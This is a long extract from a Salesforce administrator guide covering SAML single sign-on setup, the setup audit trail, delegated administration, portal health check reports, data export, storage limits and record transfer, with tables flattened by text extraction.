Generating a Domain Name and Enabling an Identity Provider All of the work in the following steps is done on the Salesforce organization that is acting as the identity provider. To prepare your Salesforce organization for this example, generate a domain name and enable Salesforce as an identity provider: 1. Log into Salesforce. 2. Generate a domain name for your organization: a. Click Your Name > Setup > Company Profile > My Domain, enter a new subdomain name, and click Check Availability. b. If the name is available, click the Terms and Conditions check box, then click Register Domain. Important: You must deploy your domain name before you can enable Salesforce as an identity provider.

3. Enable Salesforce as an identity provider: a. Click Your Name > Setup > Security Controls > Identity Provider. b. Click Enable. c. Click Download Certificate. Remember where you save the certificate, as you will upload it later. Setting up a Salesforce organization as Service Provider To configure a second Salesforce organization as the service provider: 1. Log into the Salesforce organization that acts as the service provider. 2. Enable and configure SAML: a. Click Your Name > Setup > Security Controls > Single Sign-On Settings, then click Edit. b. Select the SAML Enabled check box.

685

Security and Sharing

Examples Using Identity Providers and Service Providers

c. Use the following settings: Field


SAML Version Issuer Identity Provider Certificate SAML User ID Type

Value 2.0 https://saml.salesforce.com Browse for the certificate you downloaded in enabling an identity provider. Select Assertion contains the Federation ID
from the User object

SAML User ID Location

Select User ID is in the NameIdentifier


element of the Subject statement

d. Click Save. e. Copy and save the values from the fields Salesforce Login URL and Entity ID. You need these values later, when defining the Salesforce service provider. 3. Link your user in the service provider organization to the user in the identity provider organization: a. Click Your Name > Setup > My Personal Information > Personal Information, and click Edit. b. For Federation ID, enter the username used to sign into theSalesforce identity provider organization, for example, IDP_org@TGroup.com. c. Click Save. Defining the Service Provider in the Identity Provider Organization To define the service provider: 1. Log into the Salesforce organization that acts as the identity provider. 2. Click Your Name > Setup > Security Controls > Identity Provider, then in the Service Provider section, click New. 3. Specify the following information: Field
Name ACS URL Entity Id Subject Type

Value Salesforce Service Provider Use the Salesforce Login URL from setting up the service provider Use the Entity ID from setting up the service provider Select Username

4. Click Save. 5. Select the profiles allowed to access this service provider. You must select the current user's profile for this example to work. 6. Click Save. 7. Copy down the value of the IdP-Initiated Login URL field. You will use this value later, in testing.

686

Security and Sharing

Monitoring Setup Changes

Testing your Implmentation To verify that your Salesforce organizations can use single sign-on to connect, create a web tab: 1. 2. 3. 4. 5. 6. 7. 8. Log into the Salesforce organization that is acting like a service provider. Click Your Name > Setup > Create > Tabs, then click New in the Web Tabs section. Choose a tab layout and click Next. Enter a label to display on the tab. Use the default name. This is the same as the label. Click the Tab Style lookup icon to display the Tab Style Selector. Select an icon. Click Next. In the Button or Link URL text box, enter the value of the IdP-Initiated Login URL field from defining the service provider, then click Next. Note: This has to be an absolute URL, that is, it must contain either http:// or https://.

9. Click Next, then Save. 10. Click on the new tab at the top of your page. If you have logged out of the Salesforce organization that acts as the identity provider, you are prompted to log in. Once you are logged in, you should see the Salesforce organization that acts as the identity provider in the tab.

Monitoring Setup Changes


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions In Database.com, the setup audit trail history only audits setup changes for features that are included in Database.com.

User Permissions Needed To view audit trail history: View Setup and Configuration

The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your organization. This can be especially useful in organizations with multiple administrators. To view the setup audit trail history, click Your Name > Setup > Security Controls > View Setup Audit Trail. To download your organizations full setup history for the past 180 days, click the Download link. The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the change, who made it, and what the change was. Additionally, if a delegate (such as an administrator or customer support representative) makes a setup change on behalf of an end-user, the Delegate User column shows the delegate's username. For example, if a user grants login access to an administrator and the administrator makes a setup change, the administrator's username is listed. The setup audit trail history tracks the following types of changes: Setup Administration Changes Tracked Company information, default settings such as language or locale, and company message changes

687

Security and Sharing

Monitoring Setup Changes

Setup

Changes Tracked Multiple currency setup changes User, portal user, role, permission set, and profile changes Email address changes for any user Deleting email attachments sent as links Creating, editing, or deleting email footers Record type changes, including creating or renaming record types and assigning record types to profiles Changes to divisions, including creating and editing divisions, transferring divisions, and changing users default division Adding or deleting certificates Domain name changes Enabling or disabling Salesforce as an identity provider Changes to user interface settings, such as collapsible sections, Quick Create, hover details, or the related list hover links Page layout and search layout changes Changes made using inline editing Custom field and field-level security changes, including changes to formulas, picklist values, and custom field attributes like the format of auto-number fields or masking of encrypted fields Changes to lead settings, lead assignment rules, and lead queues Changes to activity settings Changes to support settings, business hours, case assignment and escalation rules, and case queues Any changes made by salesforce.com Customer Support at your request Changes to tab names, including tabs that you reset to the original tab name Changes to custom apps (including Service Cloud console apps), custom objects, and custom tabs Changes to contract settings Changes to forecast settings Enabling or disabling Email-to-Case or On-Demand Email-to-Case Changes to custom buttons, links, and s-controls, including standard button overrides Enabling or disabling drag-and-drop scheduling Enabling, disabling, or customizing similar opportunities Enabling or disabling quotes Changes to data category groups, data categories, and category-group assignments to objects Changes to article types Changes to category groups and categories Changes to Salesforce Knowledge settings Changes to ideas settings Changes to answers settings Changes to field tracking in feeds Changes to campaign influence settings Activating or deactivating critical updates Enabling or disabling Chatter email notifications

Customization

688

Security and Sharing

Monitoring Setup Changes

Setup

Changes Tracked Enabling or disabling Chatter new user creation settings for invitations and email domains Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access Using Hierarchies option Password policy changes Session settings changes, such as changing the session timeout setting Changes to delegated administration groups and the items delegated administrators can manage. Setup changes made by delegated administrators are tracked as well. How many records a user emptied from their Recycle Bin and from the organization's Recycle Bin Changes to SAML (Security Assertion Markup Language) configuration settings Changes to Salesforce certificates Enabling or disabling identity providers Changes to service providers Mass delete use, including when a mass delete exceeds the user's Recycle Bin limit of 5000 deleted records. The oldest, excess records will be permanently removed from the Recycle Bin within two hours of the mass delete transaction time. Data export requests Use of the campaign member import wizard Mass transfer use Changes to analytic snapshots, including defining, deleting, or changing the source report or target object on an analytic snapshot Import wizard use Changes to Apex classes and triggers Changes to Visualforce pages, custom components, or static resources Changes to custom settings Changes to remote access definitions Changes to Force.com Sites settings Creation of an API usage metering notification Changes to territories Changes to Workflow & Approvals settings Changes to approval processes Creation and deletion of workflow actions Changes to Visual Workflow files Packages from Force.com AppExchange that you installed or uninstalled Changes to account team and opportunity team selling settings Activation of Google Apps services Changes to mobile configuration settings, including data sets, mobile views, and excluded fields A user with the Manage Partners permission logging into the partner portal as a partner user

Security and Sharing

Data Management

Development

Various Setup

Using the application

689

Security and Sharing

Delegating Administrative Duties

Setup

Changes Tracked A user with the Edit Self-Service Users permission logging into the Salesforce Customer Portal as a Customer Portal user Enabling or disabling a partner portal account Disabling a Salesforce Customer Portal account Enabling or disabling a Salesforce Customer Portal and creating multiple Customer Portals Creating and changing entitlement processes and entitlement templates Enabling or disabling self-registration for a Salesforce Customer Portal Enabling or disabling Customer Portal or partner portal users

Delegating Administrative Duties


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delegate administration: To be a delegated administrator: Customize Application View Setup and Configuration

Use delegated administration to assign limited administrative privileges to selected non-administrator users in your organization. Delegated administrators can perform the following tasks: Creating and editing users and resetting passwords for users in specified roles and all subordinate roles, including setting quotas, creating default sales teams, and creating personal groups for those users Unlocking non-portal users Assigning users to specified profiles Logging in as a user who has granted login access to their administrator Managing custom objects created by an administrator

For example, you may want to allow the manager of the Customer Support team to create and edit users in the Support Manager role and all subordinate roles. This allows the administrator to focus on tasks other than managing users for every department that uses Salesforce. To create delegated groups, click Your Name > Setup > Security Controls > Delegated Administration, then click New. To manage your delegated groups: Click Edit next to a group to modify it. Select a group and click Delete to remove it. Select a group and click Remove next to the user in the Delegated Administrators related list to remove a user from that delegated group.

690

Security and Sharing

Delegating Administrative Duties

Note: To delegate administration of particular objects, use object permissions, such as View All and Modify All.

See Also:
Defining Delegated Administrators Delegating User Administration Delegating Custom Object Administration

Defining Delegated Administrators


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delegate administration: To be a delegated administrator: Customize Application View Setup and Configuration

Define delegated administration groups to specify groups of users who you want to have the same administrative privileges. These groups are not related to public groups used for sharing. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Delegated Administration. Click New. Enter a group name. Select Enable Group for Login Access if you want to allow delegated administrators in this group to log in as users who have granted login access to their administrators and are in the roles selected for the delegated administrator group. To find out how users can grant login access to their administrators, see Granting Login Access on page 31. Click Save. Click Add in the Delegated Administrators related list to specify the users in this delegated group. Use the magnifying glass lookup icon to find and add users to the group. The users must have the View Setup and Configuration permission. Click Save. See Delegating User Administration on page 692 and Delegating Custom Object Administration on page 693 to specify what tasks these users can perform.

5. 6. 7. 8. 9.

See Also:
Delegating Administrative Duties

691

Security and Sharing

Delegating Administrative Duties

Delegating User Administration


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delegate administration: To be a delegated administrator: Customize Application View Setup and Configuration

Enable delegated administrators to manage users in specified roles and all subordinate roles, assign specified profiles to those users, and log in as users who have granted login access to administrators. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Delegated Administration. Select the name of an existing delegated administration group. Click Add in the User Administration related list. Use the magnifying glass lookup icon to find and add roles. Delegated administrators can create and edit users in these roles and all subordinated roles. 5. Click Save. 6. Click Add in the Assignable Profiles related list. 7. Use the magnifying glass lookup icon to find and add profiles. Delegated administrators can assign these profiles to the users they create and edit. Note that profiles with the Modify All Data permission cannot be assigned by delegated administrators. Note: If a user is a member of more than one delegated administration group, be aware that he or she can assign any of the assignable profiles to any of the users in roles he or she can manage. 8. Click Save. 9. See Delegating Custom Object Administration on page 693 to specify what custom objects the delegated administrators can manage. To remove roles or profiles from the list of items the delegated administrators can use, click Remove next to the role or profile.

See Also:
Defining Delegated Administrators Delegating Administrative Duties

692

Security and Sharing

Delegating Administrative Duties

Delegating Custom Object Administration


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delegate administration: To be a delegated administrator: Customize Application View Setup and Configuration

Enable delegated administrators to manage custom objects that have been created by an administrator. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Delegated Administration. Select the name of an existing delegated administration group. From the detail page of the delegated administration group, click Add in the Custom Object Administration related list. Use the magnifying glass lookup icon to find and add custom objects. Delegated administrators can customize nearly every aspect of a custom object, including creating a custom tab for it. 5. Click Save. Click Save & More to add additional custom objects. To remove a custom object from the list of items the delegated administrators can manage, click Remove next to the custom object.

Notes on Delegated Administration of Custom Objects


Delegated administrators can customize nearly every aspect of the custom object, including creating a custom tab for it. However, they cannot create or modify relationships on the object or set organization-wide sharing defaults. Delegated administrators need to have access to custom objects if they need to access the merge fields on those objects from formulas.

See Also:
Defining Delegated Administrators Delegating User Administration Delegating Administrative Duties

Concurrent Usage Limits


Available in: All Editions

To ensure that resources are available for all Salesforce users, limits are placed on the number of long-running Web requests that one organization can send at the same time. This kind of limit is called a maximum concurrent Web requests limit. Salesforce.com monitors the number of concurrent requests issued by all users logged in to your organization, and compares

693

Security and Sharing

Enabling the Account Owner Report

that number against the maximum limit. In this way, salesforce.com keeps the number of concurrent requests below the maximum limit. The limit ensures that resources are available uniformly to all organizations and prevents deliberate or accidental over-consumption by any one organization. If too many requests are issued by users in your organization, you may have to wait until one of them has finished before you can perform your task. For example, assume that MyCorporation has 100,000 users. At 9:00 AM, each user requests a report that contains 200,000 records. Salesforce starts to run the report for all users until the maximum number of concurrent requests has been met. At that point, Salesforce refuses to take any additional requests until some of the reports have completed. Similar limits are placed on requests issued from the Force.com Web services API. For more information, see Force.com API Usage Limits on page 1981.

Enabling the Account Owner Report


Available in: Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed To show or hide account owner report: Customize Application

Organizations that have their organization-wide sharing access level set to Private for accounts may want to restrict users from running the Account Owner report, which lists all accounts and who owns them. To show or hide this report: 1. Click Your Name > Setup > Security Controls. 2. Click Account Owner Report. This option is available only in organizations that have a private account sharing model. 3. Select the checkbox to allow all users to run this report. If you leave the box unchecked, only administrators and users with the View All Data permission can run this report. 4. Click Save.

Prohibiting HTML Attachments and Documents


Available in: All Editions except for Database.com

User Permissions Needed To prohibit uploading of HTML attachments and documents: Customize Application

For security reasons, your organization may want to prohibit users from uploading HTML files. The Disallow HTML documents and attachments security setting, if enabled, blocks users from uploading any file to the Documents tab or as an attachment to a record if it has one of the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml, acgi. To prohibit uploading of HTML attachments and documents:

694

Security and Sharing

Configuring Remote Settings

1. Click Your Name > Setup > Security Controls > HTML Documents and Attachments Settings. 2. Select the Disallow HTML documents and attachments checkbox. 3. Click Save. Note: HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In addition, this setting does not affect attachments on email templates; HTML attachments on email templates are always permitted. After this setting is enabled, previously-uploaded HTML documents and attachments are unaffected. However, when users attempt to view an HTML attachment or document, their browser first prompts them to open the file in the browser, save it to their computer, or cancel the action. Caution: Do not enable this setting if your organization uses the partner portal to give your partner users access to Salesforce.

See Also:
Adding Attachments Uploading and Replacing Documents

Configuring Remote Settings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Visualforce and S-controls are not available in Database.com

User Permissions Needed To configure remote settings: Modify All Data

Before any Visualforce page, Apex callout, or JavaScript code using XmlHttpRequest in an s-control or custom button can call an external site, that site must be registered in the Remote Site Settings page, or the call will fail. To access the page, click Your Name > Setup > Security Controls > Remote Site Settings. This page displays a list of any remote sites already registered and provides additional information about each site, including remote site name and URL. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 102466535 (inclusive): These ports accept HTTP or HTTPS connections.

To register a new site: 1. Click New Remote Site. 2. Enter a descriptive term for the Remote Site Name. 3. Enter the URL for the remote site.

695

Security and Sharing

Portal Health Check Overview

4. To allow access to the remote site regardless of whether the user's connection is over HTTP or HTTPS, select the Disable Protocol Security checkbox. When selected, Salesforce can pass data from an HTTPS session to an HTTP session, and vice versa. Only select this checkbox if you understand the security implications. 5. Optionally, enter a description of the site. 6. Click Save to finish, or click Save & New to save your work and begin registering an additional site.

See Also:
Developer's Guide: Force.com Apex Code Developer's Guide AJAX Toolkit Developer's Guide

Portal Health Check Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data

Customer Portals and partner portals let you collaborate with and provide services to your customers and partners. With portals, you share and capture information from third-party users. To ensure that you don't expose more information than intended, it's important to follow best practices for portal implementation. Your customers and partners can access your information via portals in many ways. With portal health check reports, you can easily monitor this access. Portal health check reports show your security-related portal settings and provide information you can use to improve portal security. Note: Portal health check reports show sensitive user permissions, object permissions, and field permissions granted through profiles, as well as organization-wide sharing settings and sharing rules. Your portal users can also access records via the following means, which aren't included in portal health check reports. Permission sets Manual sharing Apex managed sharing Territories List views Groups Queues Teams

696

Security and Sharing

Portal Health Check Overview

Content libraries Folders

To view portal health check reports, click Your Name > Setup > Security Controls > Portal Health Check, then click the report you want. The following reports are included: Administrative and User Permissions Object Access and Field-Level Security Sharing Organization-Wide Defaults Sharing Rules Note: The portal health check reports don't include information for criteria-based sharing, high-volume portal users, or Self-Service portal users.

Viewing the Administrative and User Permissions Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data

User permissions are powerful, as they expand users' access to data. It's important to use caution when setting permissions for a profile. The Administrative and User Permissions reportone of the portal health check reportsshows portal profiles and their critical permission settings. Note: This report doesn't show permissions granted through permission sets.

For each profile, the report lists the number of portal users assigned to it, and the following permission settings: Delegated Portal User Administrator Send Email Convert Leads Edit Events

697

Security and Sharing

Portal Health Check Overview

Edit Opportunity Product Sales Price Edit Tasks Transfer Cases Portal Super User API Enabled Password Never Expires Create Workspaces View Content in Portals Export Reports Run Reports Note: Depending on your organization's settings, some permissions may not appear in the report.

From the report, you can drill down to portal profile detail pages, where you can edit or clone a profile, or view the users assigned to a profile. To view this report: 1. Click Your Name > Setup > Security Controls > Portal Health Check. 2. Click Administrative and User Permissions. From the report page, you can do any of the following: To view a profile detail page, click the profile name. To show a filtered list of items, select a predefined view from the drop-down list. To return to the list of reports, click Back to list: Portal Health Check Reports.

Viewing the Object Access and Field-Level Security Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data

Object permissions specify the access that users have to standard and custom objects. The following object permissions respect the sharing model:

698

Security and Sharing

Portal Health Check Overview

ReadUsers can only view records of this type. CreateUsers can read and create records. EditUsers can read and update records. DeleteUsers can read, edit, and delete records.

Field-level security specifies the access that users have to specific fields in object records. The Object Access and Field-Level Security reportone of the portal health check reportsshows the number of portal profiles that can access each standard and custom object in your organization. You can view each object's field-level security settings and permissions. The object-specific reports list portal profiles, showing the number of users assigned to each profile, the number of visible fields in an object, and the object permissions. You can drill down to portal profile detail pages, where you can edit or clone a profile, or view the users assigned to a profile. You can also drill down to field-level security detail pages, where you can edit the settings. Note: This report doesn't show permissions granted through permission sets.

To view this report: 1. Click Your Name > Setup > Security Controls > Portal Health Check. 2. Click Object Access and Field-Level Security. 3. From the report page, click an object name to view its field-level security settings and permissions by profile. On the object detail page, you can do any of the following: To view a profile detail page, click the profile name. To view a profile's field-level security detail page, click visible fields. To return to the high-level object access and field-level security report, click Object Access and Field-Level Security.

From both report pages, you can do any of the following: To show a filtered list of items, select a predefined view from the drop-down list. To return to the list of reports, click Back to list: Portal Health Check Reports.

699

Security and Sharing

Portal Health Check Overview

Viewing the Sharing Organization-Wide Defaults Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data To set default sharing access: Manage Users AND Customize Application

Organization-wide default settings specify each object's default access level for users in your organization. If an object's default access level is Public, users with enabled object permissions (Read, Create, Edit, or Delete) may be able to access records that they don't own. For example, if the default access setting for the account object is Public Read/Write, then any user with the Read permission on the account object can view any account record. When setting organization-wide defaults, you want to make sure you don't let portal users see objects they shouldn't access. The Sharing Organization-Wide Defaults reportone of the portal health check reportslists standard and custom objects and the default access setting for each object. You can use this report to review and edit the organization-wide default settings that may expose records to portal users. To view this report: 1. Click Your Name > Setup > Security Controls > Portal Health Check. 2. Click Sharing Organization-Wide Defaults. The report lists the default access setting for each object. If an object's default access is Public, Show Details (for calendar), or Use (for price book), any portal users with enabled object permissions can access other users' records, and the Security column indicates a weak organization-wide default setting. You can view the specific object permissions granted to portal profiles in the Object Access and Field-Level Security report. If the object's default access is Private, Hide Details (for calendar), or No Access (for price book), the Security column indicates a strong organization-wide default setting. Note: Even with a strong organization-wide default setting, portal users may have access to other users' records through exceptions such as sharing rules. If the Grant Access Using Hierarchies box is checked, any user above a record owner in a territory or role hierarchy can access the owner's records for that object. From the report page, you can do any of the following:

700

Security and Sharing

Portal Health Check Overview

To change the organization-wide sharing settings for any object, click Edit, then change the settings on the Organization-Wide Sharing Defaults Edit page. To show a filtered list of items, select a predefined view from the drop-down list. To return to the list of reports, click Back to list: Portal Health Check Reports.

Viewing the Sharing Rules Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data To create and edit sharing rules: Manage Users

Administrators can use sharing rules to give users access to records they don't own. In a sharing rule, records owned by a set of users (such as a group, role, or territory) are shared with another set of users. When creating sharing rules, you want to make sure you don't let portal users see records they shouldn't access. The Sharing Rules reportone of the portal health check reportslists all sharing rules that give portal users access to records they don't own. It shows the number of portal users who may get access to records as a result of each sharing rule, and lets you edit access levels for each rule. For some types of user sets (like groups, roles, and territories), you can drill down to detail pages, where you can edit, delete, or manage the users in the set. To view this report: 1. Click Your Name > Setup > Security Controls > Portal Health Check. 2. Click Sharing Rules. The Number of Portal Users Affected column shows the number of portal users who may get access as a result of the sharing rule. This number includes portal users specified in the rule and, if Grant Access Using Hierarchies is enabled for the object, any portal users above them in the role or territory hierarchy. If any users in this set have enabled object permissions (Read, Create, Edit, or Delete), they can access records exposed by the rule. Note: This report doesn't include criteria-based sharing rules. This report doesn't check portal users' object permissions. You can view the specific object permissions granted to portal profiles in the Object Access and Field-Level Security report.

From the report page, you can do any of the following:

701

Data Management

Exporting Backup Data

To change the access level in a sharing rule, click Edit, then change the settings on the sharing rule edit page. To view the details of a user set in a sharing rule, click the link in the Owned By or Shared With column. To show a filtered list of items, select a predefined view from the drop-down list. To return to the list of reports, click Back to list: Portal Health Check Reports. Note: Account and account territory sharing rules can grant access to contacts, opportunities, and cases associated with the shared accounts. The Sharing Rules report shows access levels only for top-level objects, not associated objects.

DATA MANAGEMENT
Exporting Backup Data
Weekly export available in: Enterprise and Unlimited Editions Monthly export available in: All editions, except for Database.com

User Permissions Needed To export data: Data Export

Your organization can generate backup files of your data on a weekly or monthly basis depending on your edition. You can export all of your organization's data into a set of comma-separated values (CSV) files. Note: Users with the Data Export permission can view all exported data and all custom objects and fields in the Export Service page. This permission is granted by default only to the System Administrator profile because it enables wide visibility. You can generate backup files manually once every six days (for weekly export) or 28 days (for monthly export). You can also schedule backup files to generate automatically at weekly or monthly intervals. 1. Click Your Name > Setup > Data Management > Data Export and Export Now or Schedule Export. The Export Now option prepares your files for export immediately. This option is only available if enough time has passed since your last export. The Schedule Export option allows you to schedule the export process for weekly or monthly intervals. 2. Select the desired encoding for your export file. 3. Select Include in export to include attachments in your export data. 4. Select Replace carriage returns with spaces to have spaces instead of carriage returns or line breaks in your export files. This may be useful if you plan to use your export files for importing or other integrations. 5. If you're scheduling your export, select the frequency (only available for organizations with monthly exports), start and end dates, and time of day for your scheduled export. 6. Select the types of data to include in your export. We recommend that you include all data if you are not familiar with the terminology used for some of the types of data. Note the following: Formula and roll-up summary fields are always excluded from exports.

702

Data Management

Exporting Backup Data

If your organization uses divisions, data from all divisions is included in the export. If your organization uses person accounts and you are exporting accounts, all account fields are included in the account data. For more information on account fields, see Account Fields on page 74. If your organization uses person accounts and you are exporting contacts, person account records are included in the contact data. However, the contact data only includes the fields shared by contacts and person accounts. For information on field limitations, see the Salesforce Field Reference Guide.

7. Click Start Export or Save. Salesforce creates a zip archive of CSV files and emails you when it's ready. Exports typically finish within 48 hours of submission, and large exports are broken up into multiple files. Follow the link in the email or click Data Export to download the zip file. Zip files are deleted 48 hours after the email is sent. The 48-hour time limit doesn't include weekends, which means if your download file is ready on Thursday at 4 p.m., that file isn't deleted until Monday at 4 p.m. Note: For security purposes, Salesforce may require users to pass a user verification test to export data from their organization. This simple, text-entry test helps prevent malicious programs from accessing your organization's data. To pass the test, users must type the two words displayed on the overlay into the overlay's text box field, and click the Submit button. Note that the words entered into the text box field must be separated by a space. Salesforce uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for Completely Automated Public Turing Test To Tell Computers and Humans Apart. Tip: Any automated processes that process the export files should rely on the column headings in the CSV files, rather than the position of the columns. Depending on the encoding selected, you may have to make adjustments to the export file before viewing it. Use the following instructions that apply to the character encoding you selected.

Viewing Unicode (UTF-8) Encoded Export Files


If you have Microsoft Excel 2003: 1. 2. 3. 4. 5. 6. 7. Open Microsoft Excel. Click File > New. Click Data > Import External Data > Import Data. Select the CSV file to open and Microsoft Excel will launch the text import wizard. Select Delimited and choose the Unicode (UTF-8) option for File origin. Click Next. Select Comma in the Delimiters section and click Finish. You may be prompted to select a range of cells. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Repeat these steps for each file. If you have an earlier version of Microsoft Excel (pre 2003): 1. Open the file in Microsoft Excel. 2. Select File > Save As.

703

Data Management

Monitoring Resources

3. 4. 5. 6. 7. 8.

Save the file as type Web Page. Select Tools > Options > General tab and click the Web Options button. Select the Encoding tab, and then choose the Unicode (UTF-8) option. Click OK to close the dialog boxes. Select File > Save to save the file with selected encoding. Repeat these steps for each file.

Viewing Unicode (UTF-16, Big Endian) Encoded Export Files


Open the export files in a text editor that supports this character set. Microsoft Excel does not support this character set.

Viewing Unicode (Little Endian) Encoded Export Files


1. 2. 3. 4. 5. Open the file in Microsoft Excel. Click on column A to highlight the entire first column. Open the Data menu and choose Text to Columns. Select the Delimited radio button and click Next. Select Comma in the Delimiters section and click Finish. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

6. Repeat these steps for each file.

Monitoring Resources
Available in: All Editions

User Permissions Needed To view storage usage: Manage Users

Storage is divided into two categories: data storage and file storage. File storage includes files in attachments, the Documents tab, the Files tab, the File field, Salesforce CRM Content, Chatter (including user photos), and Siteforce assets. Data storage includes the following: Accounts Article types (format: [Article Type Name]) Article type translations (format: [Article Type Name] Version) Campaigns Campaign Members Cases Case Teams Contacts Contracts Custom objects

704

Data Management

Monitoring Resources

Email messages Events Forecast items Google docs Ideas Leads Notes Opportunities Quotes Quote Template Rich Text Data Chatter: Feed posts and tracked changes Solutions Tags: Tag applications Tags: Unique tags Tasks

Data storage and file storage are calculated asynchronously, so if you import or add a large number of records or files, your organizations storage usage will not be updated immediately.

Storage Capacity
Each Edition includes a minimum amount of data storage and file storage. Professional, Enterprise, and Unlimited Editions receive a per-user storage amount multiplied by the number of users in the organization if the result is greater than the minimum storage amount. Using data storage as an example, an Enterprise Edition organization with 600 users would receive 12,000 MB (12 GB) of data storage, because 20 MB per user multiplied by 600 users is 12,000 MB. A smaller organization, for example a Professional Edition organization with 20 users, would receive 1 GB of data storage because 20 MB per user multiplied by 20 users is only 400 MB, which is less than the 1 GB minimum allotted to all Professional Edition organizations. The values in the Storage Allocation Per User License column below apply to Salesforce and Salesforce Platform user licenses. Note: The only feature license that provides additional storage is Salesforce CRM Content User. Each Salesforce CRM Content User license provides an additional 512 MB of file storage, whether Salesforce CRM Content is enabled or not, bringing the total file storage allocation per user to 612 MB. To find out whether your organization has Salesforce CRM Content enabled, contact your administrator. Salesforce Edition Personal Contact Manager Group Professional Enterprise Data Storage Minimum per File Storage Minimum per Organization Organization 20 MB (approximately 10,000 20 MB records) 1 GB 1 GB 1 GB 1 GB, plus 5 MB for each Gold Partner license 11 GB 11 GB 11 GB 11 GB Storage Allocation Per User License N/A 20 MB of data storage and 612 MB of file storage 20 MB of data storage and 612 MB of file storage 20 MB of data storage and 612 MB of file storage 20 MB of data storage and 612 MB of file storage

705

Data Management

Monitoring Resources

Salesforce Edition Unlimited Developer

Data Storage Minimum per File Storage Minimum per Organization Organization 1 GB, plus 5 MB for each Gold Partner license 5 MB 11 GB 20 MB

Storage Allocation Per User License 120 MB of data storage and 612 MB of file storage N/A

If your organization uses custom user licenses, contact salesforce.com to determine if these licenses provide additional storage. For a description of user licenses, see Viewing User License Types on page 567.

Viewing Storage Usage


To view your organizations current storage usage click Your Name > Setup > Data Management > Storage Usage. You can view the available space for data storage and file storage, the amount of storage in use per record type, the top users according to storage utilization, and the largest files in order of size. To view what types of data a particular user is storing, click that users name. In all Editions except Personal Edition, administrators can view storage usage on a user-by-user basis: 1. Click Your Name > Setup > Manage Users > Users. 2. Click the name of any user. 3. Click View next to the Used Data Space or Used File Space fields to view that users storage usage by record type. Individual users can view their own storage usage in their personal information (see Editing Your Personal Information on page 30).

Increasing Storage
When your organization has reached its storage limit, you will not be able to create any new data or upload new files. To reduce your storage usage, try to delete any outdated leads or contacts and remove any unnecessary attachments. In Salesforce CRM Content, delete files to reduce your storage limit. To increase your storage limit, you can purchase additional storage space, or in Professional, Enterprise, and Unlimited Editions, you can also add user licenses. See Adding or Subtracting User Licenses on page 3322.

Storage Considerations
Take the following into consideration when planning your storage needs: Person accounts count against both account and contact storage because the API considers each person account to consist of one account as well as one contact. Archived activities count against storage. Nothing that is deleted counts against storage. Active or archived products, price books, price book entries, and assets do not count against storage.

See Also:
Salesforce Editions and Limits Force.com API Usage Limits

706

Data Management

Transferring Records Overview

TRANSFERRING RECORDS
Transferring Records Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Accounts, Campaigns, Contacts, Contracts, Leads, and Cases are not available in Database.com.

User Permissions Needed To transfer multiple accounts, campaigns, contacts, contracts, Transfer Record and custom objects: AND Edit on the object type To transfer multiple leads: Transfer Leads OR Transfer Record AND Edit on leads To transfer multiple cases: Transfer Cases OR Transfer Record AND Edit on cases

A record owner, or any user above the owner in the role or territory hierarchy, can transfer a single record to another user. With some objects, like cases, leads, and campaigns, a user may be granted access to transfer records through sharing. Depending on the type of object, there may be multiple ways to transfer records to another user: Method Transfer a single record Available for Accounts, campaigns, cases, contacts, contracts, leads, and custom objects

Transfer multiple records by selecting the records from a list Cases, leads, and custom objects, which can belong to either view and clicking Change Owner a user or a queue Transfer multiple records using the Mass Transfer tool Accounts, leads, and custom objects

Ability to Change Ownership Users with the Modify All Data permission, or users with the Modify All permission for the given object, can transfer any record, regardless of who owns the record. To transfer a single record or multiple records from a list view, the new owner must have at least the Read permission on the object type. This rule does not apply if you use the mass transfer tool.

707

Data Management

Mass Transferring Records

To transfer ownership of any single record in an organization that does not use territory management, a user must have the appropriate Edit permission and either own the record or be above the owner in the role hierarchy. For example, to transfer ownership of an account, a user must have the Edit permission on accounts and read sharing access to the account. Additionally, the new owner of the record must have at least Read permission on accounts. The Public Full Access and Public Read/Write/Transfer sharing settings give all users the ability to transfer ownership of that type of record as long as they have the appropriate Edit permission.

In organizations that use territory management, users that have been assigned to territories can be enabled to transfer the accounts in their territories, even if they are not the record owner. To transfer campaigns, users must also have the Marketing User checkbox selected on their user record. Partner accounts can only be transferred to users with the Manage Partners permission. You cannot assign an account with Customer Portal users to an owner who is a partner user.

See Also:
Mass Transferring Records Changing Ownership Changing Multiple Cases Changing Multiple Leads

Mass Transferring Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer Database.com Editions Accounts, Service Contracts, and Leads are not available in Database.com.

User Permissions Needed To mass transfer accounts, service contracts, or custom objects: Transfer Record AND Edit on the object type To mass transfer leads: Transfer Leads OR Transfer Record AND Edit on leads

